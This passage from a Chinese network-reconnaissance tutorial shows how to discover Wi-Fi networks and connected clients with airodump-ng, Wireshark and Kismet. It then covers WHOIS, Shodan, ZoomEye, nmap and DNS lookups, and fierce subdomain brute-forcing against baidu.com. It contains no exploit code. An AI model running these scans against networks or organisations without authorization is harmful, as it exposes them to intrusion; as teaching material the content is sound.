Wireshark是一款数据包嗅探工具。正常情况下，AP每隔一段时间就会自动广播一个Beacon（信标）信号包，来宣布该无线网络的存在。所以，通过将无线网卡设置为监听模式，然后使用Wireshark嗅探监听接口的数据包，即可发现附近开放的无线网络。下面将介绍使用Wireshark扫描无线网络的方法。 【实例4-4】使用Wireshark扫描无线网络。具体操作步骤如下： （1）设置无线网卡为监听模式。执行命令如下： root@daxueba:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) （2）启动Wireshark工具。执行命令如下： root@daxueba:~# wireshark 执行以上命令后，将显示如图4.15所示的界面。 图4.15 Wireshark主界面 （3）在图4.15中选择监听接口wlan0mon，单击 按钮将开始监听无线网络的数据包，如图4.16所示。 图4.16 监听到的数据包 （4）从图4.16中可以看到，监听到的大量无线数据包。为了能够快速的找到开放的无线网络，用户可以使用显示过滤器wlan.fc.type_subtype eq 0x08进行过滤。经过对数据包过滤后，将显示如图4.17所示的界面。 （5）此时，显示的数据包就都是开放的无线网络。从显示的包中可以看到每个AP的MAC地址和SSID名称。例如，从显示的第一个包中可以看到，该AP的MAC地址为PhicommS_c1:c4:48，SSID名称为@PHICOMM_46。细心的读者可能会发现这里的MAC地址不是一个完整的MAC地址。其中，前半部分是设备的生产厂商，后半部分是MAC地址。如果想要查看完整的地址，可以在包详细信息中看到，如图4.18所示。 图4.17 过滤结果 图4.18 包详细信息 （6）从图4.18中可以看到目标AP的完整MAC地址，该地址为74:7d:24:c1:c4:48。 未知 4.2.5 使用无线设备 不仅使用前面介绍的工具可以发现网络，使用一些无线设备（无线网卡）也可以发现网络。例如，笔记本电脑或手机上都自带有无线网络连接功能，可以通过它们来发现网络。下面介绍通过手机发现无线网络的方法。 一般情况下，在手机上依次选择“设置”|WLAN选项，即可扫描到附近的所有无线网络，如名称为CU_655w、CU_655w_5G和Tenda_5D2B90的无线网络等，如图4.19所示。 图4.19 扫描到的网络 未知 4.3 扫描客户端 在前面内容中介绍了发现无线网络的方法。接下来可以扫描连接在这些无线网络中的客户端。本节将介绍扫描客户端的方法。"},
    {"text": "未知 4.3.1 使用Airodump-ng工具 使用Airodump-ng工具也可以扫描出连接目标AP的客户端。下面具体介绍使用Airodump-ng工具扫描客户端的方法。 【实例4-5】使用Airodump-ng工具扫描客户端。具体操作步骤如下： （1）设置无线网卡为监听模式。执行命令如下： root@daxueba:~# airmon-ng start wlan0 （2）扫描客户端。执行命令如下： root@daxueba:~# airodump-ng wlan0mon CH 8 ][ Elapsed: 19 mins ][ 2019-01-03 17:52 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 70:85:40: -38 770 340 0 3 130 WPA2 CCMP PSK CU_655w 53:E0:3B 14:E6:E4: -47 338 0 0 6 270 WPA2 CCMP PSK Test 84:23:7A 08:10:78: -58 465 0 0 6 270 WPA2 CCMP PSK Netcore 75:0F:DD C8:3A:35: -56 449 47 0 6 270 WPA2 CCMP PSK Tenda_5D2B90 5D:2B:90 80:89:17: -59 456 4424 0 11 405 WPA2 CCMP PSK TP-LINK_A1B8 66:A1:B8 74:7D:24: -71 413 0 0 1 130 WPA2 CCMP PSK @PHICOMM_46 C1:C4:48 C0:D0:FF: -80 56 0 0 5 130 WPA2 CCMP PSK CMCC-f5CV 1B:F2:E0 1C:60:DE: -81 314 0 0 11 270 WPA2 CCMP PSK MERCURY_7A40 2B:7A:40 BSSID STATION PWR Rate Lost Frames Probe 70:85:40:53:E0:3B 1C:77:F6:60:F2:CC -54 2e- 6 0 272 C8:3A:35:5D:2B:90 FC:BE:7B:38:D4:A3 -66 0e- 6e 0 42 80:89:17:66:A1:B8 94:D0:29:76:F7:09 -1 0e- 0 0 4417 从以上输出信息中可以看到扫描到的无线网络相关信息。通过前面对每个字段的介绍，我们知道STATION列表示客户端的MAC地址。经过分析以上的信息，可以看到MAC地址为1C:77:F6:60:F2:CC的客户端，连接的目标AP的MAC地址为70:85:40:53:E0:3B，SSID名称为CU_655w；MAC地址为FC:BE:7B:38:D4:A3的客户端，连接的目标AP的MAC地址为C8:3A:35:5D:2B:90，SSID名称为Tenda_5D2B90。 未知 4.3.2 使用Kismet工具 使用Kismet工具不仅可以扫描无线网络，也可以扫描到连接其网络的客户端。下面介绍使用Kismet工具扫描客户端的方法。 使用前面介绍的Kismet工具实施网络扫描，在扫描界面即可看到扫描的客户端。其中，扫描AP的界面如图4.20所示。 从图4.20的第一部分中可以看到扫描到的所有AP。此时，选择任何一个AP，即可看到连接的所有客户端。但是，这里默认是无法选择AP，因此需要设置排序方式。在菜单栏中依次选择Sort|First Seen命令，如图4.21所示。 图4.20 扫描到的无线网络 这里选择First Seen命令后，即可对AP进行选择了。例如，这里选择SSID名称为CU_655w的AP，即可显示该AP下的所有客户端，如图4.22所示。 图4.21 菜单栏 图4.22 扫描到的客户端 从图4.22中可以看到扫描到的客户端信息。这里共显示了6列，分别表示MAC（MAC地址）、Type（设备类型）、Freq（频率）、Pkts（包数）、Size（包大小）和Manuf（生产厂商）。从Type（类型）列可以看到显示的值有Wired/AP和Wireless。其中，值为Wired/AP表示是AP信息；值为Wireless表示是客户端信息。在该部分中的信息表示，MAC地址为4C:C0:0A:E9:F4:2B和1C:77:F6:60:F2:CC的客户端，连接了MAC地址为70:85:40:53:E0:3B的AP。 未知 4.3.3 路由器管理界面 通过路由器的管理界面，也可以看到连接的无线网络客户端。前面介绍过，在TP-LINK路由器的管理界面可以查看连接的客户端。但是这种方式无法确定哪个主机连接的是无线局域网。此时，通过客户端名可以快速地判断出来，或者进行MAC地址查询。另外，在腾达路由器的管理界面，显示了客户端的连接方式，所以可以快速找到无线客户端。下面进行简单介绍。 1．TP-LINK路由器 下面是TP-LINK路由器的客户端连接界面，如图4.23所示。 图4.23 客户端列表 一般情况下，连接无线网络的设备通常是手机、平板、笔记本电脑。正常情况下不会修改这些设备的名称，所以可以根据名称判断出哪个是无线客户端设备。例如，在图4.23中，客户端名为vivo_Y51的设备，一看就可知道这是一个vivo设备，因此肯定是一个手机。 2．腾达路由器 下面来查看下腾达路由器的客户端连接列表。首先，通过浏览器访问该路由器的主页。登录成功后，如图4.24所示。 图4.24 腾达路由器的管理界面 在左侧栏中选择“网速控制”选项，如图4.25所示。 图4.25 客户端列表 从图4.25中可以看到有一列为“连接方式”，可以看到设备的连接方式是“有线”还是“无线”。从显示结果可知，有两个无线设备，一个有线设备。从“主机名称”列，还可以看到客户端的IP地址和MAC地址。例如，第一个无线设备的IP地址为192.168.0.102，MAC地址为1C:77:F6:60:F2:CC。 未知 第5章 广域网扫描 广域网（Wide Area Network，WAN）又称外网或公网，是连接不同地区局域网或城域网计算机通信的远程网。通常跨接很大的物理范围，所覆盖的范围从几十公里到几千公里。它能连接多个地区、城市或国家，或横跨几个州并能提供远距离通信，形成国际性的远程网络。广域网并不等同于互联网。本章将介绍对广域网实施扫描的方法。"},
    {"text": "未知 5.1 WHOIS信息查询 WHOIS（读作Who is，非缩写）是用来查询域名的IP及所有者等信息的传输协议。简单说，WHOIS就是一个用来查询域名是否已经被注册，以及已经注册域名的详细信息的数据库（如域名所有人、域名注册商、域名注册日期和过期日期等）。通过域名Whois服务器查询，可以查询域名归属者联系方式，以及注册和到期时间。本节将介绍实施WHOIS信息查询的方法。 未知 5.1.1 WHOIS查询网址 通过访问网址 http://whois.chinaz.com/ ，可以快速地查询到某域名的相关信息。在浏览器的地址栏中输入网址 http://whois.chinaz.com/ ，访问成功后，显示界面如图5.1所示。 在如图5.1所示的文本框中输入要查询的域名，并单击“查询”按钮，即可获取到对应的信息。例如，查询域名qq.com的相关信息。查询完成后，显示如图5.2和图5.3所示。因为无法截取所有信息，所以这里只截取了两个图。 在图5.2中显示了域名qq.com的信息，包括该域名的注册商、联系邮箱、电话、创建时间、过期时间和域名服务器等。 在图5.3中显示了域名qq.com的WHOIS信息，包括注册域名ID、注册WHOIS服务器、注册的URL、更新时间和创建时间等。 图5.1 Whois查询站点 图5.2 域名信息 图5.3 Whois查询 未知 5.1.2 使用Whois工具 Whois工具是用来查找并显示指定账号（或域名）的用户相关信息。下面将介绍使用Whois工具来实现WHOIS信息查询的方法。使用Whois工具的语法格式如下： whois [域名] 【实例5-1】使用Whois工具查询域名baidu.com的相关信息。执行命令如下： root@daxueba:~# whois baidu.com Domain Name: BAIDU.COM #域名 Registry Domain ID: 11181110_DOMAIN_COM-VRSN #注册域名ID Registrar WHOIS Server: whois.markmonitor.com #注册WHOIS服务器 Registrar URL: http://www.markmonitor.com #注册者URL Updated Date: 2017-07-28T02:36:28Z #更新时间 Creation Date: 1999-10-11T11:05:17Z #创建时间 Registry Expiry Date: 2026-10-11T11:05:17Z #过期时间 Registrar: MarkMonitor Inc. #注册者 Registrar IANA ID: 292 #注册者IANA ID Registrar Abuse Contact Email: abusecomplaints@markmonitor.com #注册滥用电子邮箱联系人 Registrar Abuse Contact Phone: +1.2083895740 #注册者滥用电话号码 Domain Status: clientDeleteProhibited https://icann.org/epp#clientDelete Prohibited #域名状态 Domain Status: clientTransferProhibited https://icann.org/epp#client TransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#client UpdateProhibited Domain Status: serverDeleteProhibited https://icann.org/epp#server DeleteProhibited Domain Status: serverTransferProhibited https://icann.org/epp#server TransferProhibited Domain Status: serverUpdateProhibited https://icann.org/epp#server UpdateProhibited Name Server: DNS.BAIDU.COM #域名服务器 Name Server: NS2.BAIDU.COM Name Server: NS3.BAIDU.COM Name Server: NS4.BAIDU.COM Name Server: NS7.BAIDU.COM DNSSEC: unsigned URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann. org/wicf/ >>> Last update of whois database: 2019-01-04T09:26:13Z <<< #最后更新WHOIS数据库时间 ……省略部分内容 Web-based WHOIS: #基于Web的WHOIS信息 https://domains.markmonitor.com/whois If you have a legitimate interest in viewing the non-public WHOIS details, send your request and the reasons for your request to whoisrequest@markmonitor.com and specify the domain name in the subject line. We will review that request and may ask for supporting documentation and explanation. The data in MarkMonitor’s WHOIS database is provided for information purposes, and to assist persons in obtaining information about or related to a domain name’s registration record. While MarkMonitor believes the data to be accurate, the data is provided \"as is\" with no guarantee or warranties regarding its accuracy. By submitting a WHOIS query, you agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (1) allow, enable, or otherwise support the transmission by email, telephone, or facsimile of mass, unsolicited, commercial advertising, or spam; or (2) enable high volume, automated, or electronic processes that send queries, data, or email to MarkMonitor (or its systems) or the domain name contacts (or its systems). MarkMonitor.com reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy. MarkMonitor is the Global Leader in Online Brand Protection. MarkMonitor Domain Management(TM) MarkMonitor Brand Protection(TM) MarkMonitor AntiCounterfeiting(TM) MarkMonitor AntiPiracy(TM) MarkMonitor AntiFraud(TM) Professional and Managed Services Visit MarkMonitor at https://www.markmonitor.com Contact us at +1.8007459229 In Europe, at +44.02032062220 从以上输出信息可以看到获取到域名baidu.com的相关WHOIS信息。例如，注册商域名ID为11181110_DOMAIN_COM-VRSN、注册的WHOIS服务器为whois.markmonitor.com、创建时间为1999-10-11T11:05:17Z等。"},
    {"text": "未知 5.1.3 使用DMitry工具 DMitry工具是用来查询IP或域名WHOIS信息的。使用该工具查询WHOIS信息的语法格式如下： dmitry -w [domain] 以上语法中的选项及含义如下： ·-w：对指定的域名实施WHOIS查询。 ·domain：指定查询的域名。 【实例5-2】使用DMitry工具查询域名baidu.com的WHOIS信息。执行命令如下： root@daxueba:~# dmitry -w baidu.com Deepmagic Information Gathering Tool \"There be some deep magic going on\" HostIP:123.125.115.110 #主机IP地址 HostName:baidu.com #主机名 Gathered Inic-whois information for baidu.com #生成的WHOIS信息 --------------------------------- Domain Name: BAIDU.COM #域名 Registry Domain ID: 11181110_DOMAIN_COM-VRSN #注册域名ID Registrar WHOIS Server: whois.markmonitor.com #注册WHOIS服务器 Registrar URL: http://www.markmonitor.com #注册者URL Updated Date: 2017-07-28T02:36:28Z #更新时间 Creation Date: 1999-10-11T11:05:17Z #创建时间 Registry Expiry Date: 2026-10-11T11:05:17Z #过期时间 Registrar: MarkMonitor Inc. #注册者 Registrar IANA ID: 292 #注册者IANA ID Registrar Abuse Contact Email: abusecomplaints@markmonitor.com #注册者滥用邮件联系人 Registrar Abuse Contact Phone: +1.2083895740 #注册者滥用电话号码 Domain Status: clientDeleteProhibited https://icann.org/epp#clientDelete Prohibited #域名状态 Domain Status: clientTransferProhibited https://icann.org/epp#client TransferProhibited Domain Status: clientUpdateProhibited https://icann.org/epp#client UpdateProhibited Domain Status: serverDeleteProhibited https://icann.org/epp#server DeleteProhibited Domain Status: serverTransferProhibited https://icann.org/epp#server TransferProhibited Domain Status: serverUpdateProhibited https://icann.org/epp#server UpdateProhibited Name Server: DNS.BAIDU.COM #域名服务器 Name Server: NS2.BAIDU.COM Name Server: NS3.BAIDU.COM Name Server: NS4.BAIDU.COM Name Server: NS7.BAIDU.COM DNSSEC: unsigned URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann. org/wicf/ >>> Last update of whois database: 2019-01-04T10:19:04Z <<< #最后更新WHOIS数据库时间 For more information on Whois status codes, please visit https://icann.org/epp NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration. TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' (\"VeriSign\") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right to restrict your access to the Whois database in its sole discretion to ensure operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time. The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars. All scans completed, exiting 从以上输出信息中可以看到，成功获取到了域名baidu.com相关的WHOIS信息。 未知 5.2 第三方扫描 我们还可以通过第三方扫描方式来实施广域网扫描。在互联网中，有两款非常强大的搜索引擎，即Shodan和ZoomEye，可以用来对一些设备或主机信息实施扫描。本节将介绍利用这两款搜索引擎对广域网中的主机实施扫描的方法。 未知 5.2.1 Shodan扫描 Shodan是目前最强大的搜索引擎，其使用方法在前面已经介绍过。下面将介绍使用该搜索引擎实施广域网扫描的方法。 【实例5-3】使用Shodan搜索引擎扫描huawei设备详细信息。具体操作步骤如下： （1）在浏览器中访问Shodan搜索引擎 https://www.shodan.io/ ，访问成功后，显示如图5.4所示。 （2）在图5.4中输入关键词huawei，即可获取到对应的扫描结果，如图5.5所示。 图5.4 Shodan搜索界面 图5.5 搜索结果 （3）在图5.5的左上角中可以看到，共搜索到414959个结果。例如，搜索到huawei设备的IP地址有115.182.249.95、116.48.155.109和218.25.88.70等。另外，从响应的包信息中可以推测出目标主机类型。例如，从包信息中看到有“SSH-2.0-HUAWEI-1.5”信息，可以推测出这是一个包括SSH服务的服务器。"},
    {"text": "未知 5.2.2 ZoomEye扫描 ZoomEye是一款针对网络空间的搜索引擎。该搜索引擎的后端数据计划包括两部分，分别是网站组件指纹和主机设备指纹。具体说明如下： ·网站组件指纹：包括操作系统、Web服务、服务端语言、Web开发框架、Web应用、前端库及第三方组件等。 ·主机设备指纹：结合NMAP大规模扫描结果进行整合。 ZoomEye搜索引擎并不会主动对网络设备和网站发起攻击，收录的数据也仅用于安全研究。ZoomEye更像是互联网空间的一张航海图。ZoomEye兼具信息收集与漏洞信息识别的功能，对于广大的渗透测试爱好者来说是一个非常不错的工具。下面将介绍使用ZoomEye实施广域网扫描的方法。 ZoomEye搜索引擎的网址为 https://www.zoomeye.org/ ，访问成功后，将显示如图5.6所示的界面。 图5.6 ZoomEye搜索引擎 在图5.6所示的搜索文本框中输入要搜索的主机或设备，即可获取到对应的信息。此外，还可以使用高级搜索功能，指定详细的信息进行搜索。单击文本框下面的“高级搜索”链接，将显示高级搜索文本框，如图5.7所示。 图5.7 高级搜索 在图5.7中，可以进行设备或网站扫描。在设备扫描界面可以设置组件名、版本、设备、端口、IP和CIDR等信息。单击“确认”按钮，即可获取对应的信息。这些高级搜索功能，可以在普通搜索的文本框中使用表达式进行过滤。下面将介绍下可用的过滤器表达式。 （1）指定搜索的组件及版本： app:组件名称 ver:组件版本 例如，搜索apache组件，版本2.4，则过滤器表达式如下： app:apache ver:2.4 （2）指定搜索的端口： port:端口号 例如，搜索开放了SSH端口的主机，则过滤器表达式如下： port:22 一些服务器可能监听了非标准的端口。要按照更精确的协议进行检索，可以使用service进行过滤。 （3）指定搜索的操作系统： OS:操作系统名称 例如，搜索Linux操作系统，则过滤器表达式如下： OS:Linux （4）指定搜索的服务： service:服务名称 例如，搜索SSH服务，则过滤器表达式如下： Service:SSH （5）指定搜索的地理位置范围： country:国家名 city:城市名 例如，搜索中国，Beijing城市，过滤器表达式如下： country:China city:Beijing （6）搜索指定的CIDR网段： CIDR:网段区域 例如，搜索192.168.1.0网段，过滤器表达式如下： CIDR:192.168.1.0/24 （7）搜索指定的网站域名： Site:网站域名 例如，搜索域名 www.baidu.com ，过滤器表达式如下： site:www.baidu.com （8）搜索指定的主机名： Hostname:主机名 例如，搜索主机名zwl.cuit.edu.cn，过滤器表达式如下： hostname:zwl.cuit.edu.cn （9）搜索具有特定首页关键词的主机： Keyword:关键词 例如，搜索关键词为technology的主机，过滤器表达式如下： Keywork:technology 当我们对ZoomEye搜索引擎的使用了解清楚后，就可以实施扫描了。例如，这里搜索下广域网中的Apache服务器。在搜索文本框中输入关键字apache，显示界面如图5.8所示。 图5.8 搜索结果 在图5.8中显示了Apache服务器的相关信息。共包括3部分信息，每部分的信息说明如下： ·左侧部分：给出了搜素结果的IP地址、使用的协议、开放的端口服务、所处的国家、城市和搜索时间。 ·中间部分：给出了使用HTTP协议版本信息、使用的组件名称、版本、服务器的类型和主机的系统信息。 ·右侧部分：给出了本次搜索结果的搜索类型（网站、设备数量）、年份、所处国家、Web应用、Web容器、组件、服务、设备和端口信息。 除了以上3部分信息外，在上方可还以分别查看搜索结果、统计报告、全球视角和相关漏洞信息。每部分信息说明如下： ·搜索结果：显示按照搜索条件查询之后所获得的结果信息。 ·统计报告：显示搜索结果的统计报告信息。 ·全球视角：显示各大组件、服务器系统的地理位置。 ·相关漏洞：给出各大组件、服务器系统等存在的历史性漏洞的描述文档。 例如，这里查看下“相关漏洞”信息，显示界面如图5.9所示。 图5.9 相关漏洞信息 从图5.9中可以看到每个组件包括的相关漏洞信息。单击组件名称下方的漏洞描述链接，即可看到该漏洞的描述性文档，如图5.10所示。 图5.10 漏洞详细信息 从图5.10中可以看到phpmyadmin2.8.0.3任意文件所包含漏洞的详细信息。例如，漏洞编号、发布时间、漏洞详情和概要信息等。也可以直接单击相应组件右侧的“了解更多”链接（见图5.9），查看漏洞信息的报告内容。例如，查看wordpress的漏洞报告内容，结果如图5.11所示。 图5.11 漏洞报告内容 从图5.11中可以看到WordPress漏洞组件的详细报告。通过分析漏洞报告，即可根据给出的漏洞信息寻找对应目标进行漏洞验证。 未知 5.3 探测域名 域名（Domain Name）简称域名、网域，是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时标识计算机的电子方位（有时也指地理位置）。如果通过IP地址访问广域网主机的话，不太容易记忆。所以，通常是通过域名方式来访问其主机的。本节将介绍探测域名的方法。"},
    {"text": "未知 5.3.1 Ping扫描 Ping扫描就是通过向目标主机发送一个ICMP Echo请求包，通过响应信息用来判断目标主机是否在线。通过Ping扫描，可以探测域名对应的主机IP地址。下面将介绍具体的实现方法。 1．使用Ping命令 Ping是Windows、UNIX和Linux系统下的一个命令。Ping也属于一个通信协议，是TCP/IP协议的一部分。利用Ping命令可以检查网络是否连通，可以很好地帮助用户分析和判定网络故障。下面介绍使用Ping命令测试目标主机是否在线的方法。 【实例5-4】使用Ping命令测试广域网中的主机 www.baidu.com 是否在线。执行命令如下： root@daxueba:~# ping www.baidu.com PING www.a.shifen.com (61.135.169.125) 56(84) bytes of data. 64 bytes from 61.135.169.125 (61.135.169.125): icmp_seq=1 ttl=55 time=21.3 ms 64 bytes from 61.135.169.125 (61.135.169.125): icmp_seq=2 ttl=55 time=21.4 ms 64 bytes from 61.135.169.125 (61.135.169.125): icmp_seq=3 ttl=55 time=21.4 ms 64 bytes from 61.135.169.125 (61.135.169.125): icmp_seq=4 ttl=55 time=21.7 ms ^C #使用Ctrl+C停止Ping --- www.a.shifen.com ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 6ms rtt min/avg/max/mdev = 21.339/21.440/21.664/0.195 ms 从输出的信息中可以看到，已经成功收到了目标主机的响应包。由此可以说明目标主机是活动的，而且还成功对其域名进行了解析。其中，域名 www.baidu.com 的IP地址为61.135.169.125。如果目标主机不在线的话，将收不到响应信息或者返回响应目标主机不可达等信息。 提示： 当用户在Linux下执行Ping命令时，需要使用Ctrl+C组合键停止扫描，否则会一直Ping下去。在Windows下，默认发送4个Ping包后停止扫描。 2．使用Nmap工具 在Nmap中提供了一个-sP选项，可以用来实施Ping扫描，列出目标主机是否存活，或者列出在这一个网段内都有哪些主机是存活状态。使用Nmap实施Ping扫描的语法格式如下： nmap -sP [目标] 以上语法中的选项及含义如下： ·-sP：仅进行Ping扫描，用来发现主机，不进行端口扫描。 ·目标：指定扫描的目标主机。这里可以指定IP地址，也可以指定为域名。 【实例5-5】使用Nmap对目标主机（ www.baidu.com ）实施Ping扫描。执行命令如下： root@daxueba:~# nmap -sP www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 13:47 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.00051s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds 从输出的结果中可以看到目标主机（ www.baidu.com ）是活动的，而且还成功解析出了该域名的IP地址。其中，该域名对应的IP地址为61.135.169.121。此外，也可以指定目标IP地址实施扫描。例如： root@daxueba:~# nmap -sP 61.135.169.121 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 13:53 CST Nmap scan report for 61.135.169.121 Host is up (0.00056s latency). Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds 从输出的信息中可以看到，目标主机是活动的（up）。"},
    {"text": "未知 5.3.2 域名解析 域名解析是把域名指向网站空间IP，让用户通过注册的域名可以方便地访问网站的一种服务。在因特网中，DNS服务器就是用来进行域名解析的。DNS是因特网的一项核心服务，它作为可以将域名和IP地址相互映射的一个分布式数据库，能够使人们更方便地访问互联网，而不用去记住能够被计算机直接读取的IP地址数串。所以，当我们只知道目标主机的域名时，如果想要知道其IP地址，则需要进行域名解析。下面介绍实施域名解析的方法。 域名解析包括正向解析和反向解析。这两种方式的区别如下： ·正向解析：将域名解析为IP地址。 ·反向解析：将IP地址解析为域名。 这里主要介绍实施正向解析的方法。 1．使用Nmap工具 在Nmap工具中提供了一个-sL选项，可以用来实施域名解析。实施域名解析的语法格式如下： nmap -sL [Target] 以上语法中的选项及含义如下： ·-sL：对指定的主机进行反向域名解析，以获取它们的名字。 ·Target：指定解析的目标主机地址。其中，指定的目标可以是单个地址、地址范围、地址列表或域名等。 【实例5-6】使用Nmap工具对域名 www.baidu.com 实施反向解析。执行命令如下： root@daxueba:~# nmap -sL www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 17:29 CST Nmap scan report for www.baidu.com (61.135.169.125) Other addresses for www.baidu.com (not scanned): 61.135.169.121 Nmap done: 1 IP address (0 hosts up) scanned in 0.02 seconds 从输出的信息中可以看到成功解析了域名 www.baidu.com 。其中，解析出的IP地址为61.135.169.125和61.135.169.121。 【实例5-7】使用Nmap工具解析192.168.1.0/24网段的主机。执行命令如下： root@daxueba:~# nmap -sL 192.168.1.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 13:58 CST Nmap scan report for 192.168.1.0 (192.168.1.0) Nmap scan report for 192.168.1.1 (192.168.1.1) Nmap scan report for 192.168.1.2 (192.168.1.2) Nmap scan report for kdkdahjd61y369j (192.168.1.3) #解析成功 Nmap scan report for 192.168.1.4 (192.168.1.4) Nmap scan report for 192.168.1.5 (192.168.1.5) Nmap scan report for 192.168.1.6 (192.168.1.6) Nmap scan report for 192.168.1.7 (192.168.1.7) Nmap scan report for 192.168.1.8 (192.168.1.8) Nmap scan report for 192.168.1.9 (192.168.1.9) Nmap scan report for android-dad8ecb5abc91ce7 (192.168.1.10) #解析成功 Nmap scan report for 192.168.1.11 (192.168.1.11) ……省略部分内容 Nmap scan report for 192.168.1.247 (192.168.1.247) Nmap scan report for 192.168.1.248 (192.168.1.248) Nmap scan report for 192.168.1.249 (192.168.1.249) Nmap scan report for 192.168.1.250 (192.168.1.250) Nmap scan report for 192.168.1.251 (192.168.1.251) Nmap scan report for 192.168.1.252 (192.168.1.252) Nmap scan report for 192.168.1.253 (192.168.1.253) Nmap scan report for 192.168.1.254 (192.168.1.254) Nmap scan report for 192.168.1.255 (192.168.1.255) Nmap done: 256 IP addresses (0 hosts up) scanned in 0.07 seconds 从以上输出信息中可以看到，通过Nmap工具对192.168.1.0/24网段内的所有主机都进行了扫描。其中，解析成功的主机有192.168.1.3和192.168.1.10。由于输出的信息较多，所以中间部分内容省略了。 2．使用Nslookup工具 Nslookup是由微软发布的用于对DNS服务器进行检测和排错的命令行工具。该工具可以指定查询的类型，可以查到DNS记录的生存时间，还可以指定使用哪个DNS服务器进行解释。使用Nslookup工具实施域名解析的语法格式如下： nslookup [domain] 【实例5-8】使用Nslookup工具对域名 www.baidu.com 进行解析。执行命令如下： root@daxueba:~# nslookup www.baidu.com Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: Name: www.baidu.com Address: 61.135.169.125 Name: www.baidu.com Address: 61.135.169.121 www.baidu.com canonical name = www.a.shifen.com. 从输出的信息中可以看到，成功解析了 www.baidu.com 。其中，解析出的IP地址为61.135.169.125和61.135.169.121。而且还可以看到域名 www.baidu.com 的别名为 www.a.shifen.com 。"},
    {"text": "未知 5.3.3 反向DNS查询 反向DNS查询就是将IP地址解析为域名。这样可以探测目标IP是否绑定了某个域名。下面介绍实施反向DNS查询的方法。 1．使用Nmap工具 在Nmap工具中提供了一个-R选项，可以用来实施反向DNS查询。使用反向DNS查询的语法格式如下： nmap -R [ip] 其中，-R表示总是实施DNS解析。 【实例5-9】对目标192.168.1.4实施反向DNS查询。执行命令如下： root@daxueba:~# nmap -R 192.168.1.4 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 20:35 CST Nmap scan report for daxueba (192.168.1.4) Host is up (0.0000060s latency). All 1000 scanned ports on daxueba (192.168.1.4) are closed Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds 从输出的信息中可以看到，目标主机192.168.1.4的域名为daxueba。 2．使用Nslookup工具 Nslookup工具不仅可以进行正向解析，也可以实施反向解析。实施反向DNS查询的语法格式如下： nslookup [IP] 【实例5-10】使用Nslookup工具对目标192.168.1.4实施反向DNS查询。执行命令如下： root@daxueba:~# nslookup 192.168.1.4 4.1.168.192.in-addr.arpa name = daxueba. 未知 5.3.4 子域名枚举 子域名是在域名系统等级中，属于更高一层域的域。例如，www.baidu.com和image.baidu.com是baidu.com的两个子域。一个域名通常会有多个子域名，用来标识整个主机。通过枚举子域名，即可获取到更多的主机信息。下面介绍使用fierce工具枚举子域名的方法。 fierce是一款IP、域名互查的DNS工具，可进行域传送漏洞检测、字典枚举子域名、反查IP段，以及反查指定域名上下一段IP，属于一款半轻量级的多线程信息收集用具。该工具的语法格式如下： fierce -dns target-domain 其中，-dns选项表示指定查询的域名。 【实例5-11】使用fierce工具枚举域名baidu.com的子域名。执行命令如下： root@daxueba:~# fierce -dns baidu.com DNS Servers for baidu.com: #获取DNS服务器 dns.baidu.com ns7.baidu.com ns4.baidu.com ns3.baidu.com ns2.baidu.com Trying zone transfer first... #检查DNS区域传输漏洞 Testing dns.baidu.com Request timed out or transfer not allowed. Testing ns7.baidu.com Request timed out or transfer not allowed. Testing ns4.baidu.com Request timed out or transfer not allowed. Testing ns3.baidu.com Request timed out or transfer not allowed. Testing ns2.baidu.com Request timed out or transfer not allowed. Unsuccessful in zone transfer (it was worth a shot) Okay, trying the good old fashioned way... brute force Checking for wildcard DNS... #检查泛域名解析 ** Found 94264636794.baidu.com at 221.204.244.41. ** High probability of wildcard DNS. Now performing 2280 test(s)... #枚举子域名 10.94.49.39 access.baidu.com 10.11.252.74 accounts.baidu.com 182.61.62.50 ad.baidu.com 10.26.109.19 admin.baidu.com 10.42.4.225 ads.baidu.com 10.99.87.18 asm.baidu.com 10.42.122.102 at.baidu.com 10.91.161.102 athena.baidu.com 10.143.145.28 backup.baidu.com 172.18.100.200 bd.baidu.com 10.36.155.42 bh.baidu.com 10.36.160.22 bh.baidu.com 10.38.19.40 bh.baidu.com 10.42.4.177 bugs.baidu.com 10.23.250.58 build.baidu.com 10.36.253.83 cc.baidu.com 